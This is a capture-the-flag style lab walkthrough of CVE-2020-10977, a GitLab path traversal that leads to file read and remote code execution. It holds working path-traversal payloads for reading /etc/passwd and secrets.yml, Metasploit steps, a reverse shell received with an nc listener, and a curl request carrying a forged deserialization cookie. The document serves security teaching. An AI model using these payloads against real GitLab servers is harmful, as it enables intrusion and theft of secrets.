Table of Contents

Join Our Membership To Start Your Cybersecurity Journey Today!

GitLab File Read RCE

gitlab

In 2020, a critical vulnerability was found in the GitLab server. An issue discovered in GitLab CE/EE (Community Edition/Enterprise Edition) versions 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects. This path traversal bug leads to the arbitrary file read via the UploadsRewriter and RCE (Remote Command Execution) on the vulnerable server. This vulnerability of GitLab File Read RCE maps to CVE-2020-10977 and critical status since the attacker does not need any special rights in the system.

What is GitLab

GitLab Community Edition (CE) is an open-source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more.

It is The DevOps platform that empowers organizations to maximize the overall return on software development by delivering software faster and efficiently while strengthening security and compliance. With GitLab, every team in your organization can collaboratively plan, build, secure, and deploy software to drive business outcomes faster with complete transparency, consistency, and traceability.

Statistics

It is an open-core company that develops software for the software development lifecycle. It has around 30 million estimated registered users and more than 1 million active license users.

Path Traversal

Path traversal is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take complete control of the server.

Vulnerability Source

The actual vulnerability lies in the following UploadsRewriter function of GitLab code

   @text.gsub(@pattern) do |markdown|
          file = find_file(@source_project, $~[:secret], $~[:file])
          break markdown unless file.try(:exists?)

          klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader :
FileUploader
          moved = klass.copy_to(file, target_parent)
...
   def find_file(project, secret, file)
        uploader = FileUploader.new(project, secret: secret)
        uploader.retrieve_from_store!(file)
        uploader
      end

The UploadsRewriter does not validate the file name, allowing arbitrary files to be copied via directory traversal when moving an issue to a new project.

There is no restriction on what file can be; because of that, path traversal can be handy to copy any file, depending on the file’s permission. This vulnerability allows an attacker to read sensitive files i.e., including tokens, private data, configs, etc.

Lab Experiment

For the purpose of demonstration, I will be going through the amazing lab provided by Pentester Academy.

Run the server and you will get a link to the lab providing you a GUI instance of Kali Linux as below

The vulnerable GitLab server is running at http://demo.ine.local. So open the browser and navigate to it as below

We have the option to register a new user. So we create a new account with credentials test123:test1234 as below

We will have our own GitLab projects dashboard as below

Now, we can exploit the vulnerability either using Metasploit or manually. We will go through both approaches.

Exploiting GitLab File Read RCE using METASPLOIT

Open the terminal and start msfconsole and search for gitlab_file as below

Use the exploit/multi/http/gitlab_file_read_rce and show options as below

Set the RHOSTS, USERNAME, and PASSWORD options and check whether the target is vulnerable or not as below

Exploit Module

It combines an arbitrary file read to extract the Rails secret_key_base, and gains remote code execution with a deserialization vulnerability of a signed ‘experimentation_subject_id’ cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later. Its patch came in versions 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on versions 12.8.1 and 12.4.0.

The module first reads the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml file and reads the value of secret_key_base This is a base key that is used for generating various other secrets.

Exploitation

Since the target GitLab server is vulnerable, exploit it through exploit command as below

Extract the flag using common Linux commands as below

The shell does not give us the privilege to change the directory. So, list the contents of directories and get the flag using ../

Exploiting GitLab File Read RCE using MANUAL Approach

We know that there are two different issues on the target Gitlab server. The path traversal vulnerability allows an attacker to read the secrets.yml file. From there, one can read the secret_key_base that is useful for creating a signed experimentation_subject_id cookie and gains remote code execution with a deserialization vulnerability.

Creating Projects

First, from the dashboard, create 2 projects (named project 1 & project 2) as below

After creating the project, you will see the following successful screen

Creating Issue & Moving

After creating both projects, go to project 1 and create a new issue from top navigation bar as below

Put anything in the title and the following payload in description to read the /etc/passwd file to check the file read

![a](/uploads/111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

Submit the issue. From the issue page, move the issue from project 1 to project 2 through move option in bottom right corner as below

Move the project as below

LFI

As soon we move the issue, we will be able to download passwd file as below

After downloading, the contents are as below

Reading secrets.yml

Now as the file read is working, we craft the following payload to read secrets.yml file to get secret_key_base

![a](/uploads/111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

Similar to the above steps, create a new issue in project 1 and put the above payload in the description. Then move the issue to project 2. From there, you will be able to download the secrets.yml file as below

The desired secret_key_base is there in the downloaded file.

Exploiting through python script

Now, a payload can be generated by the GitLab instances rails console. But, in the real world, that won’t be the case. However, many python scripts create the payload for this vulnerability. That payload can be used directly to execute a command on the target machine using curl. Or we can modify the code that will only print the given command.

You can use this python script for the exploit.

Run the script using the following command

python3 PoC.py http://demo.ine.local 10.10.27.2

Note: 10.10.27.2 is the IP address of the Kali Instance found through ifconfig command.

We run the exploit and choose 2 from the options (to get RCE)

As guided by the exploit, we start the nc listener on the port 42069 as below

Now hit ENTER in the exploit window and navigate back to the nc tab to see the receiving connection from target

Exploiting using curl & cookie

If you go back to the exploit tab, it will be showing the experimentation_subject_id cookie as below

You can gain the reverse shell by using this cookie in the curl command as below

curl -vvv "http://demo.ine.local/users/signin" -b "experimentation_subject_id=COOKIE_VALUE"

Scroll to Top